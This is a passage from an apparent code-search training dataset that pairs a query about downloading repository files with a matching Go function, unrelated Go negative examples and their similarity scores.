htd.getData(dateList, SH)\n}", "func commitsByRepo() (map[string][]string, error) {\n\tinfos, err := os.ReadDir(indexDir)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcommitsByRepo := map[string][]string{}\n\tfor _, info := range infos {\n\t\tif matches := indexFilenamePattern.FindStringSubmatch(info.Name()); len(matches) > 0 {\n\t\t\tcommitsByRepo[matches[1]] = append(commitsByRepo[matches[1]], matches[2])\n\t\t}\n\t}\n\n\treturn commitsByRepo, nil\n}", "func (p *MessagePartition) checkoutIndexfile(fileId uint64) (*os.File, error) {\n\treturn os.Open(p.indexFilenameByMessageId(fileId))\n}", "func indexHandler(w http.ResponseWriter, r *http.Request) {\n\tdata := &Index{\n\t\tTitle: \"Image gallery\",\n\t\tBody: \"Welcome to the image gallery.\",\n\t}\n\tfor name, img := range images {\n\t\tdata.Links = append(data.Links, Link{\n\t\t\tURL: \"/image/\" + name,\n\t\t\tTitle: img.Title,\n\t\t})\n\t}\n\tif err := indexTemplate.Execute(w, data); err != nil {\n\t\tlog.Println(err)\n\t}\n}", "func expandGitTreeIntoIndexesRecursive(c *Client, t TreeID, prefix string, recurse bool, showTreeEntry, treeOnly bool) ([]*IndexEntry, error) {\n\tvals, err := t.GetAllObjects(c, \"\", false, showTreeEntry)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnewEntries := make([]*IndexEntry, 0, len(vals))\n\tfor path, treeEntry := range vals {\n\t\tvar dirname IndexPath\n\t\tif prefix == \"\" {\n\t\t\tdirname = path\n\t\t} else {\n\t\t\tdirname = IndexPath(prefix) + \"/\" + path\n\t\t}\n\n\t\tif (treeEntry.FileMode.TreeType() != \"tree\") || showTreeEntry || !recurse {\n\t\t\tnewEntry := IndexEntry{}\n\t\t\tnewEntry.Sha1 = treeEntry.Sha1\n\t\t\tnewEntry.Mode = treeEntry.FileMode\n\t\t\tnewEntry.PathName = dirname\n\n\t\t\tif !treeOnly {\n\t\t\t\t// We need to read the object to see the size. It's\n\t\t\t\t// not in the tree.\n\t\t\t\tobj, err := c.GetObject(treeEntry.Sha1)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tnewEntry.Fsize = uint32(obj.GetSize())\n\n\t\t\t\t// The git tree object doesn't include the mod time, so\n\t\t\t\t// we take the current mtime of the file (if possible)\n\t\t\t\t// for the index that we return.\n\t\t\t\tif fname, err := dirname.FilePath(c); err != nil {\n\t\t\t\t\tnewEntry.Mtime = 0\n\t\t\t\t} else if fname.Exists() {\n\t\t\t\t\tif mtime, err := fname.MTime(); err == nil {\n\t\t\t\t\t\tnewEntry.Mtime = mtime\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tnewEntry.FixedIndexEntry.Flags = uint16(len(dirname)) & 0xFFF\n\t\t\t}\n\t\t\tnewEntries = append(newEntries, &newEntry)\n\t\t}\n\t\tif treeEntry.FileMode.TreeType() == \"tree\" && recurse {\n\t\t\tsubindexes, err := expandGitTreeIntoIndexesRecursive(c, TreeID(treeEntry.Sha1), dirname.String(), recurse, showTreeEntry, treeOnly)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tnewEntries = append(newEntries, subindexes...)\n\t\t}\n\t}\n\treturn newEntries, nil\n}", "func getIndexLayout(clusterUrl string) ([]*IndexerNode, error) {\n\n\tcinfo, err := clusterInfoCache(clusterUrl)\n\tif err != nil {\n\t\tlogging.Errorf(\"Planner::getIndexLayout: Error from connecting to cluster at %v. Error = %v\", clusterUrl, err)\n\t\treturn nil, err\n\t}\n\n\t// find all nodes that has a index http service\n\t// If there is any indexer node that is not in active state (e.g. failover), then planner will skip those indexers.\n\t// Note that if the planner is invoked by the rebalancer, the rebalancer will receive callback ns_server if there is\n\t// an indexer node fails over while planning is happening.\n\tnids := cinfo.GetNodesByServiceType(common.INDEX_HTTP_SERVICE)\n\n\tlist := make([]*IndexerNode, 0)\n\tnumIndexes := 0\n\n\tfor _, nid := range nids {\n\n\t\t// create an empty indexer object using the indexer host name\n\t\tnode, err := createIndexerNode(cinfo, nid)\n\t\tif err != nil {\n\t\t\tlogging.Errorf(\"Planner::getIndexLayout: Error from initializing indexer node. Error = %v\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// assign server group\n\t\tnode.ServerGroup = cinfo.GetServerGroup(nid)\n\n\t\t// obtain the admin port for the indexer node\n\t\taddr, err := cinfo.GetServiceAddress(nid, common.INDEX_HTTP_SERVICE)\n\t\tif err != nil {\n\t\t\tlogging.Errorf(\"Planner::getIndexLayout: Error from getting service address for node %v. Error = %v\", node.NodeId, err)\n\t\t\treturn nil, err\n\t\t}\n\t\tnode.RestUrl = addr\n\n\t\t// Read the index metadata from the indexer node.\n\t\tlocalMeta, err := getLocalMetadata(addr)\n\t\tif err != nil {\n\t\t\tlogging.Errorf(\"Planner::getIndexLayout: Error from reading index metadata for node %v. Error = %v\", node.NodeId, err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// get the node UUID\n\t\tnode.NodeUUID = localMeta.NodeUUID\n\t\tnode.IndexerId = localMeta.IndexerId\n\t\tnode.StorageMode = localMeta.StorageMode\n\n\t\t// convert from LocalIndexMetadata to IndexUsage\n\t\tindexes, err := ConvertToIndexUsages(localMeta, node)\n\t\tif err != nil {\n\t\t\tlogging.Errorf(\"Planner::getIndexLayout: Error for converting index metadata to index usage for node %v. Error = %v\", node.NodeId, err)\n\t\t\treturn nil, err\n\t\t}\n\n\t\tnode.Indexes = indexes\n\t\tnumIndexes += len(indexes)\n\t\tlist = append(list, node)\n\t}\n\n\tif numIndexes != 0 {\n\t\tfor _, node := range list {\n\t\t\tif !common.IsValidIndexType(node.StorageMode) {\n\t\t\t\terr := errors.New(fmt.Sprintf(\"Fail to get storage mode\tfrom %v. Storage mode = %v\", node.RestUrl, node.StorageMode))\n\t\t\t\tlogging.Errorf(\"Planner::getIndexLayout: Error = %v\", err)\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn list, nil\n}", "func (*BulkIndexResponse) Descriptor() ([]byte, []int) {\n\treturn file_protobuf_index_proto_rawDescGZIP(), []int{15}\n}", "func Index(c *gin.Context) {\n\n\tw := c.Writer\n\tr := c.Request\n\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\tp, lastMod, err := tools.ReadFileIfModified(time.Time{})\n\tif err != nil {\n\t\tp = []byte(err.Error())\n\t\tlastMod = time.Unix(0, 0)\n\t}\n\tvar v = struct {\n\t\tHost string\n\t\tData string\n\t\tLastMod string\n\t}{\n\t\tr.Host,\n\t\tstring(p),\n\t\tstrconv.FormatInt(lastMod.UnixNano(), 16),\n\t}\n\tindexTempl.Execute(w, &v)\n}", "func indexesReport(c *clients.Client, response handle.ResponseHandle) error {\n\treq, err := http.NewRequest(\"GET\", c.Base()+\"/config/indexes\", nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn util.Execute(c, req, response)\n}", "func (as *API) Index(ctx context.Context, req *pbreq.Index) (*pbresp.Index, error) {\n\tswitch req.GetType() {\n\tcase \"ipld\":\n\t\tbreak\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"invalid data type '%s'\", req.GetType())\n\t}\n\n\tvar name = req.GetIdentifier()\n\tvar reindex = req.GetReindex()\n\tmetaData, err := as.lens.Magnify(name, reindex)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to perform indexing for '%s': %s\",\n\t\t\tname, err.Error())\n\t}\n\n\tvar resp *lens.Object\n\tif !reindex {\n\t\tif resp, err = as.lens.Store(name, metaData); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tb, err := as.lens.Get(name)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to find ID for object '%s'\", name)\n\t\t}\n\t\tid, err := uuid.FromBytes(b)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"invalid uuid found for '%s' ('%s'): %s\",\n\t\t\t\tname, string(b), err.Error())\n\t\t}\n\t\tif resp, err = as.lens.Update(id, name, metaData); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to update object: %s\", err.Error())\n\t\t}\n\t}\n\n\treturn &pbresp.Index{\n\t\tId: resp.LensID.String(),\n\t\tKeywords: metaData.Summary,\n\t}, nil\n}", "func (f *IpfsFetcher) Fetch(ctx context.Context, filePath string) ([]byte, error) {\n\tsh, _, err := ApiShell(\"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp, err := sh.Request(\"cat\", path.Join(f.distPath, filePath)).Send(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.Error != nil {\n\t\treturn nil, resp.Error\n\t}\n\n\tvar rc io.ReadCloser\n\tif f.limit != 0 {\n\t\trc = migrations.NewLimitReadCloser(resp.Output, f.limit)\n\t} else {\n\t\trc = resp.Output\n\t}\n\tdefer rc.Close()\n\n\treturn io.ReadAll(rc)\n}", "func (n *OpenBazaarNode) getPostIndex() ([]postData, error) {\n\tindexPath := path.Join(n.RepoPath, \"root\", \"posts.json\")\n\n\tvar index []postData\n\n\t_, ferr := os.Stat(indexPath)\n\tif !os.IsNotExist(ferr) {\n\t\t// Read existing file\n\t\tfile, err := ioutil.ReadFile(indexPath)\n\t\tif err != nil {\n\t\t\treturn index, err\n\t\t}\n\t\terr = json.Unmarshal(file, &index)\n\t\tif err != nil {\n\t\t\treturn index, err\n\t\t}\n\t}\n\treturn index, nil\n}", "func (*commitApi) Index(r *ghttp.Request) {\n\tvar data *model.CommitReq\n\tif err := r.Parse(&data); err != nil {\n\t\tg.Log(\"commit\").Errorf(\"commit err: %s\", err.Error())\n\t\tresponse.JsonExit(r, 1, err.Error())\n\t\treturn\n\t}\n\tg.Log(\"commit\").Infof(\"commit start miner: %d, sector: %d, time: %s\", data.MinerNumber, data.SectorNumber, time.Now().String())\n\tphase1Output, err := base64.StdEncoding.DecodeString(data.Phase1Output)\n\tif err != nil {\n\t\tg.Log(\"commit\").Errorf(\"commit err: %s\", err.Error())\n\t\tresponse.JsonExit(r, 1, err.Error())\n\t\treturn\n\t}\n\tproof, err := ffi.SealCommitPhase2(phase1Output, abi.SectorNumber(data.SectorNumber), abi.ActorID(data.MinerNumber))\n\tif err != nil {\n\t\tg.Log(\"commit\").Errorf(\"commit err: %s\", err.Error())\n\t\tresponse.JsonExit(r, 1, err.Error())\n\t\treturn\n\t}\n\n\trsp := model.CommitRsp{\n\t\tMinerNumber: data.MinerNumber,\n\t\tSectorNumber: data.SectorNumber,\n\t\tProof: base64.StdEncoding.EncodeToString(proof),\n\t}\n\n\tg.Log(\"commit\").Infof(\"commit end: %s\", time.Now().String())\n\tresponse.Json(r, 0, \"success\", rsp)\n}", "func bookIndex(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tmtx.Lock()\n\tdefer mtx.Unlock()\n\tbooks := make([]*model.Book, len(bookstore))\n\ti := 0\n\tfor _, v := range bookstore {\n\t\tbooks[i] = v\n\t\ti++\n\t}\n\tres := &common.ResBody{\n\t\tErr: common.OK,\n\t\tData: books,\n\t}\n\tcommon.WriteJson(w, res, http.StatusOK)\n}", "func (d *Descriptor) ImageIndex() (v1.ImageIndex, error) {\n\tswitch d.MediaType {\n\tcase types.DockerManifestSchema1, types.DockerManifestSchema1Signed:\n\t\t// We don't care to support schema 1 images:\n\t\t// https://github.com/google/go-containerregistry/issues/377\n\t\treturn nil, newErrSchema1(d.MediaType)\n\tcase types.OCIManifestSchema1, types.DockerManifestSchema2:\n\t\t// We want an index but the registry has an image, nothing we can do.\n\t\treturn nil, fmt.Errorf(\"unexpected media type for ImageIndex(): %s; call Image() instead\", d.MediaType)\n\tcase types.OCIImageIndex, types.DockerManifestList:\n\t\t// These are expected.\n\tdefault:\n\t\t// We could just return an error here, but some registries (e.g. static\n\t\t// registries) don't set the Content-Type headers correctly, so instead...\n\t\tlogs.Warn.Printf(\"Unexpected media type for ImageIndex(): %s\", d.MediaType)\n\t}\n\treturn d.remoteIndex(), nil\n}", "func (self *OCSPResponder) parseIndex() error {\n\tvar t string = \"060102150405Z\"\n\tfinfo, err := os.Stat(self.IndexFile)\n\tif err == nil {\n\t\t// if the file modtime has changed, then reload the index file\n\t\tif finfo.ModTime().After(self.IndexModTime) {\n\t\t\tlog.Print(\"Index has changed. Updating\")\n\t\t\tself.IndexModTime = finfo.ModTime()\n\t\t\t// clear index entries\n\t\t\tself.IndexEntries = self.IndexEntries[:0]\n\t\t} else {\n\t\t\t// the index has not changed. just return\n\t\t\treturn nil\n\t\t}\n\t} else {\n\t\treturn err\n\t}\n\n\t// open and parse the index file\n\tif file, err := os.Open(self.IndexFile); err == nil {\n\t\tdefer file.Close()\n\t\ts := bufio.NewScanner(file)\n\t\tfor s.Scan() {\n\t\t\tvar ie IndexEntry\n\t\t\tln := strings.Fields(s.Text())\n\t\t\tie.Status = []byte(ln[0])[0]\n\t\t\tie.IssueTime, _ = time.Parse(t, ln[1])\n\t\t\tif ie.Status == StatusValid {\n\t\t\t\tie.Serial, _ = new(big.Int).SetString(ln[2], 16)\n\t\t\t\tie.DistinguishedName = ln[4]\n\t\t\t\tie.RevocationTime = time.Time{} //doesn't matter\n\t\t\t} else if ie.Status == StatusRevoked {\n\t\t\t\tie.Serial, _ = new(big.Int).SetString(ln[3], 16)\n\t\t\t\tie.DistinguishedName = ln[5]\n\t\t\t\tie.RevocationTime, _ = time.Parse(t, ln[2])\n\t\t\t} else {\n\t\t\t\t// invalid status or bad line. just carry on\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tself.IndexEntries = append(self.IndexEntries, ie)\n\t\t}\n\t} else {\n\t\treturn err\n\t}\n\treturn nil\n}", "func _getFileVersionIndex(id uint64, publisherName string, link string) (uint64, bool) {\n\tbook := _getBook(id)\n\n\t// search for the publisher\n\tindex, _ := _getPublisherIndex(id, publisherName)\n\tfor i, v := range(book.Publishers[index].FileVersions){\n\t\tif v.Link == link {\n\t\t\treturn uint64(i), true\n\t\t}\n\t}\n\n\t// version not found\n\treturn 0, false\n}", "func (_Casper *CasperCaller) Index(opts *bind.CallOpts) (*big.Int, error) {\n\tvar (\n\t\tret0 = new(*big.Int)\n\t)\n\tout := ret0\n\terr := _Casper.contract.Call(opts, out, \"index\")\n\treturn *ret0, err\n}", "func GetIndexPkgs(page int) (pkgs []hv.PkgInfo) {\n\terr := x.Limit(100, (page-1)*100).Asc(\"rank\").Find(&pkgs)\n\tif err != nil {\n\t\tbeego.Error(\"models.GetIndexPkgs ->\", err)\n\t}\n\treturn pkgs\n}", "func indexRepos(eventHandler service.EventHandler) map[string]*Repo {\n\trepoMap := make(map[string]*Repo)\n\tfor _, event := range eventHandler.Events {\n\t\tif event.Repo == nil {\n\t\t\tcontinue\n\t\t}\n\t\trepo, ok := repoMap[event.Repo.ID]\n\t\tif !ok {\n\t\t\trepo = &Repo{\n\t\t\t\tID: event.Repo.ID,\n\t\t\t\tName: event.Repo.Name,\n\t\t\t\tEventTypeCount: map[string]int{},\n\t\t\t}\n\t\t\trepoMap[repo.ID] = repo\n\t\t}\n\t\trepo.CommitCount = repo.CommitCount + len(event.Commits)\n\t\trepo.EventTypeCount[event.Type] = repo.EventTypeCount[event.Type] + 1\n\t}\n\treturn repoMap\n}", "func (i *indexer) Index() (*Stats, error) {\n\tpkgs, err := i.packages()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn i.index(pkgs)\n}", "func printRepositoryInfo(i *index.Index) {\n\tfmtutil.Separator(false, \"REPOSITORY INFO\")\n\n\tupdated := timeutil.Format(time.Unix(i.Meta.Created, 0), \"%Y/%m/%d %H:%M:%S\")\n\n\tfmtc.Printf(\" {*}UUID{!}: %s\\n\", i.UUID)\n\tfmtc.Printf(\" {*}Updated{!}: %s\\n\\n\", updated)\n\n\tfor _, distName := range i.Data.Keys() {\n\t\tsize, items := int64(0), 0\n\t\tfor archName, arch := range i.Data[distName] {\n\t\t\tfor _, category := range arch {\n\t\t\t\tfor _, version := range category {\n\t\t\t\t\tsize += version.Size\n\t\t\t\t\titems++\n\n\t\t\t\t\tif len(version.Variations) != 0 {\n\t\t\t\t\t\tfor _, variation := range version.Variations {\n\t\t\t\t\t\t\titems++\n\t\t\t\t\t\t\tsize += variation.Size\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfmtc.Printf(\n\t\t\t\t\" {c*}%s{!}{c}/%s:{!} %3s {s-}|{!} %s\\n\", distName, archName,\n\t\t\t\tfmtutil.PrettyNum(items), fmtutil.PrettySize(size, \" \"),\n\t\t\t)\n\t\t}\n\t}\n\n\tfmtc.NewLine()\n\tfmtc.Printf(\n\t\t\" {*}Total:{!} %s {s-}|{!} %s\\n\",\n\t\tfmtutil.PrettyNum(i.Meta.Items),\n\t\tfmtutil.PrettySize(i.Meta.Size, \" \"),\n\t)\n\n\tfmtutil.Separator(false)\n}", "func (*Index) Descriptor() ([]byte, []int) {\n\treturn file_index_proto_rawDescGZIP(), []int{0}\n}", "func Fetch(fileUrl string, destFile string) {\n\n\treferenceFileIndex, checksumLookup, fileSize, _ := fetchIndex(\"somewhere\")\n\n\tblockCount := fileSize / BLOCK_SIZE\n\tif fileSize%BLOCK_SIZE != 0 {\n\t\tblockCount++\n\t}\n\n\tfs := &gosync.BasicSummary{\n\t\tChecksumIndex: referenceFileIndex,\n\t\tChecksumLookup: checksumLookup,\n\t\tBlockCount: uint(blockCount),\n\t\tBlockSize: uint(BLOCK_SIZE),\n\t\tFileSize: fileSize,\n\t}\n\n\trsyncObject, err := gosync.MakeRSync(\n\t\tdestFile,\n\t\tfileUrl,\n\t\tdestFile,\n\t\tfs,\n\t)\n\n\terr = rsyncObject.Patch()\n\n\tif err != nil {\n\t\tfmt.Printf(\"Error: %v\\n\", err)\n\t\treturn\n\t}\n\n\terr = rsyncObject.Close()\n\n\tif err != nil {\n\t\tfmt.Printf(\"Error: %v\\n\", err)\n\t\treturn\n\t}\n\n}", "func setIndex(resp http.ResponseWriter, index uint64) {\n\t// If we ever return X-Consul-Index of 0 blocking clients will go into a busy\n\t// loop and hammer us since ?index=0 will never block. It's always safe to\n\t// return index=1 since the very first Raft write is always an internal one\n\t// writing the raft config for the cluster so no user-facing blocking query\n\t// will ever legitimately have an X-Consul-Index of 1.\n\tif index == 0 {\n\t\tindex = 1\n\t}\n\tresp.Header().Set(\"X-Consul-Index\", strconv.FormatUint(index, 10))\n}", "func writeDiscoCache(indexData []byte, absolutePath string, directory os.FileInfo) (updated map[string]bool, errors errorlist.Errors) {\n\tfmt.Printf(\"Updating local Discovery docs in %v ...\\n\", absolutePath)\n\t// Make Discovery doc file permissions like parent directory (no execute)\n\tperm := directory.Mode() & 0666\n\n\tfmt.Println(\"Parsing and writing Discovery doc index ...\")\n\tindex := &apiIndex{}\n\terr := json.Unmarshal(indexData, index)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Error parsing Discovery doc index: %v\", err)\n\t\terrors.Add(err)\n\t\treturn\n\t}\n\tsize := len(index.Items)\n\n\tindexFilepath := path.Join(absolutePath, \"index.json\")\n\tif err := ioutil.WriteFile(indexFilepath, indexData, perm); err != nil {\n\t\terr = fmt.Errorf(\"Error writing Discovery index to %v: %v\", indexFilepath, err)\n\t\terrors.Add(err)\n\t}\n\n\tvar collect sync.WaitGroup\n\terrChan := make(chan error, size)\n\tcollect.Add(1)\n\tgo func() {\n\t\tdefer collect.Done()\n\t\tfor err := range errChan {\n\t\t\tfmt.Println(err)\n\t\t\terrors.Add(err)\n\t\t}\n\t}()\n\n\tupdated = make(map[string]bool, size)\n\tupdateChan := make(chan string, size)\n\tcollect.Add(1)\n\tgo func() {\n\t\tdefer collect.Done()\n\t\tfor file := range updateChan {\n\t\t\tupdated[file] = true\n\t\t}\n\t}()\n\n\tvar update sync.WaitGroup\n\tfor _, api := range index.Items {\n\t\tupdate.Add(1)\n\t\tgo func(api apiInfo) {\n\t\t\tdefer update.Done()\n\t\t\tif err := UpdateAPI(api, absolutePath, perm, updateChan); err != nil {\n\t\t\t\terrChan <- fmt.Errorf(\"Error updating %v %v: %v\", api.Name, api.Version, err)\n\t\t\t}\n\t\t}(api)\n\t}\n\tupdate.Wait()\n\tclose(errChan)\n\tclose(updateChan)\n\tcollect.Wait()\n\treturn\n}", "func Index(w http.ResponseWriter, r *http.Request) {\n\tif err := json.NewEncoder(w).Encode(ResultIndex{Connect: true}); err != nil {\n\t\tpanic(err)\n\t}\n}", "func (o AttachedDiskResponseOutput) Index() pulumi.IntOutput {\n\treturn o.ApplyT(func(v AttachedDiskResponse) int { return v.Index }).(pulumi.IntOutput)\n}" ]
[ "0.79848945", "0.69114137", "0.684012", "0.67962646", "0.67911434", "0.6659791", "0.65676916", "0.62828726", "0.62654114", "0.6249647", "0.62363887", "0.6105302", "0.6061409", "0.6012638", "0.600222", "0.5990207", "0.59626997", "0.5819786", "0.5818868", "0.5790951", "0.5785599", "0.57780904", "0.5773334", "0.5742999", "0.56859535", "0.5682369", "0.5680492", "0.5664425", "0.5654314", "0.55560905", "0.5547674", "0.55390364", "0.5479827", "0.5448947", "0.5422065", "0.54181004", "0.54160714", "0.5412661", "0.54037887", "0.534758", "0.5324344", "0.5322672", "0.53123844", "0.53005934", "0.52803665", "0.5247621", "0.52422076", "0.52386063", "0.5228235", "0.5202652", "0.52020293", "0.5194272", "0.51928604", "0.51845497", "0.5179085", "0.5169403", "0.516245", "0.5157755", "0.5146202", "0.5136083", "0.51320046", "0.51314855", "0.51169044", "0.5116039", "0.50844526", "0.5077655", "0.5070311", "0.50513464", "0.50396156", "0.5031353", "0.50299704", "0.50269246", "0.5025663", "0.5019317", "0.5005797", "0.50057125", "0.5005533", "0.50001144", "0.50000834", "0.4999175", "0.49952382", "0.49893266", "0.49874505", "0.49817982", "0.4966943", "0.49656954", "0.4955568", "0.49539983", "0.4953799", "0.49518627", "0.49485183", "0.49465522", "0.49432877", "0.49412555", "0.49350333", "0.4932175", "0.49242616", "0.49143913", "0.49097106", "0.49060145" ]
0.78158385
1
downloadRepositoryData downloads all files from repository
func downloadRepositoryData(i *index.Index, url, dir string) { items := getItems(i, url) pb := progress.New(int64(len(items)), "Starting…") pbs := progress.DefaultSettings pbs.IsSize = false pbs.ShowSpeed = false pbs.ShowRemaining = false pbs.ShowName = false pbs.NameColorTag = "{*}" pbs.BarFgColorTag = colorTagApp pbs.PercentColorTag = "" pbs.RemainingColorTag = "{s}" pb.UpdateSettings(pbs) pb.Start() fmtc.Printf( "Downloading %s %s from remote repository…\n", fmtutil.PrettyNum(len(items)), pluralize.Pluralize(len(items), "file", "files"), ) for _, item := range items { fileDir := path.Join(dir, item.OS, item.Arch) filePath := path.Join(dir, item.OS, item.Arch, item.File) if !fsutil.IsExist(fileDir) { err := os.MkdirAll(fileDir, 0755) if err != nil { pb.Finish() fmtc.NewLine() printErrorAndExit("Can't create directory %s: %v", fileDir, err) } } if fsutil.IsExist(filePath) { fileSize := fsutil.GetSize(filePath) if fileSize == item.Size { pb.Add(1) continue } } err := downloadFile(item.URL, filePath) if err != nil { pb.Finish() fmtc.NewLine() printErrorAndExit("%v", err) } pb.Add(1) } pb.Finish() fmtc.Printf("\n{g}Repository successfully cloned into %s{!}\n") }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (repo *RemoteRepo) Download(d utils.Downloader, db database.Storage, packageRepo *Repository) error {\n\tlist := NewPackageList()\n\n\t// Download and parse all Release files\n\tfor _, component := range repo.Components {\n\t\tfor _, architecture := range repo.Architectures {\n\t\t\tpackagesReader, packagesFile, err := utils.DownloadTryCompression(d, repo.BinaryURL(component, architecture).String())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer packagesFile.Close()\n\n\t\t\tparas, err := debc.Parse(packagesReader)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfor _, para := range paras {\n\t\t\t\tp := NewPackageFromControlFile(para)\n\n\t\t\t\tlist.Add(p)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Save package meta information to DB\n\tlist.ForEach(func(p *Package) {\n\t\tdb.Put(p.Key(), p.Encode())\n\t})\n\n\t// Download all package files\n\tch := make(chan error, list.Len())\n\tcount := 0\n\n\tlist.ForEach(func(p *Package) {\n\t\tpoolPath, err := packageRepo.PoolPath(p.Filename)\n\t\tif err == nil {\n\t\t\tif !p.VerifyFile(poolPath) {\n\t\t\t\td.Download(repo.PackageURL(p.Filename).String(), poolPath, ch)\n\t\t\t\tcount++\n\t\t\t}\n\t\t}\n\t})\n\n\t// Wait for all downloads to finish\n\t// TODO: report errors\n\tfor count > 0 {\n\t\t_ = <-ch\n\t\tcount--\n\t}\n\n\trepo.LastDownloadDate = time.Now()\n\trepo.packageRefs = NewPackageRefListFromPackageList(list)\n\n\treturn nil\n}", "func download(p int, repos []*github.Repository) []string {\n\tLogIfVerbose(\"Downloading %d number of repos with %d parallel threads.\\n\", len(repos), p)\n\tsema := make(chan struct{}, p)\n\tarchiveList := make([]string, 0)\n\tvar wg sync.WaitGroup\n\tclient := NewClient()\n\tfor _, r := range repos {\n\t\twg.Add(1)\n\t\tgo func(repo *github.Repository) {\n\t\t\tdefer wg.Done()\n\t\t\tsema <- struct{}{}\n\t\t\tdefer func() { <-sema }()\n\t\t\tLogIfVerbose(\"Downloading archive for repository: %s\\n\", *repo.URL)\n\t\t\tdownloadURL := \"https://github.com/\" + repo.GetOwner().GetLogin() + \"/\" + repo.GetName() + \"/archive/master.zip\"\n\t\t\tarchiveName := repo.GetName() + \".zip\"\n\t\t\tout, err := os.Create(archiveName)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"failed downloading repo: \", repo.GetName())\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer out.Close()\n\t\t\tLogIfVerbose(\"Started downloading archive for: %s\\n\", downloadURL)\n\t\t\tresp, err := client.client.Get(downloadURL)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"failed to get zip archive for repo: \", repo.GetName())\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer resp.Body.Close()\n\t\t\tif resp.StatusCode != http.StatusOK {\n\t\t\t\tlog.Println(\"status was not 200: \", resp.Status)\n\t\t\t}\n\t\t\t_, _ = io.Copy(out, resp.Body)\n\t\t\tarchiveList = append(archiveList, archiveName)\n\t\t}(r)\n\t}\n\twg.Wait()\n\treturn archiveList\n}", "func downloadRemoteArtifactWorker(artDetails *jfauth.ServiceDetails, chFiles <-chan string, tgtDir string) {\n\trtBase := (*artDetails).GetUrl()\n\tdlcount := 0\n\tfor f := range chFiles {\n\t\trtURL := rtBase + f\n\t\tjflog.Debug(\"Getting '\" + rtURL + \"' details ...\")\n\t\t// fmt.Printf(\"Fetching : %s\\n\", rtURL)\n\t\treq, err := http.NewRequest(\"GET\", rtURL, nil)\n\t\tif err != nil {\n\t\t\tjflog.Error(\"http.NewRequest failed\")\n\t\t}\n\t\treq.SetBasicAuth((*artDetails).GetUser(), (*artDetails).GetApiKey())\n\n\t\tresp, err := http.DefaultClient.Do(req)\n\t\tif err != nil {\n\t\t\tjflog.Error(\"http.DefaultClient.Do failed\")\n\t\t\tcontinue\n\t\t}\n\n\t\tfpath := tgtDir + \"/\" + f\n\t\tfdir, _ := filepath.Split(fpath)\n\t\tif _, err := os.Stat(fpath); os.IsNotExist(err) {\n\t\t\tos.MkdirAll(fdir, 0700) // Create directory\n\t\t}\n\n\t\t// Create the file\n\t\tout, err := os.Create(fpath)\n\t\tif err != nil {\n\t\t\tjflog.Error(\"Failed to create file : %s\", fpath)\n\t\t\tresp.Body.Close()\n\t\t\tcontinue\n\t\t}\n\n\t\t// Write the body to file\n\t\t_, err = io.Copy(out, resp.Body)\n\t\tif err != nil {\n\t\t\tjflog.Error(\"Failed to copy download to file : %s\", fpath)\n\t\t}\n\t\t//fmt.Printf(\"downloading to complete: %s\\n\", fpath)\n\t\tdlcount++\n\t\tresp.Body.Close()\n\t\tout.Close()\n\t}\n\t//fmt.Printf(\"downloadRemoteArtifactWorker() complete, downloaded %d files\\n\", dlcount)\n\tjflog.Info(fmt.Sprintf(\"downloadRemoteArtifactWorker() complete, downloaded %d files\", dlcount))\n}", "func DownloadandSaveFiles(elkdemoinstance Elkdemo) {\n\t{\n\t\tfor _, element := range elkdemoinstance.Filesets {\n\n\t\t\tfmt.Printf(\"Fileset Name : %v \\n\", element.Filepersona)\n\t\t\tif element.Action.Download == \"yes\" { //Download only if true\n\t\t\t\tsuccess, filename := getFileFromURL(element.Sourceurl, element.Savefileas)\n\t\t\t\tfmt.Printf(\"%v, %v\", success, filename)\n\t\t\t}\n\t\t}\n\t}\n\n}", "func (d *Downloader) Download() {\n\tfor _, path := range d.sources {\n\t\tif d.Verbose {\n\t\t\tfmt.Println(\"Downloading (recursively:\", d.Recursive, \") from\", path, \"to\", d.dst, \"(and delete:\", d.deleter != nil, \")\")\n\t\t}\n\t\td.download(FixPath(path))\n\t}\n}", "func (gcp *GitHubContentProvider) Download(ctx context.Context, path string) (io.ReadCloser, error) {\n\treturn gcp.Client.Repositories.DownloadContents(ctx, gcp.Owner, gcp.Repo, path, &github.RepositoryContentGetOptions{\n\t\tRef: gcp.Revision,\n\t})\n}", "func (v *vcsCmd) Download(dir string) error {\n\tfor _, cmd := range v.downloadCmd {\n\t\tif err := v.run(dir, cmd); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (p *FileInf) initDownload(fileList *fileListDl) error {\r\n\tvar err error\r\n\tif p.Progress 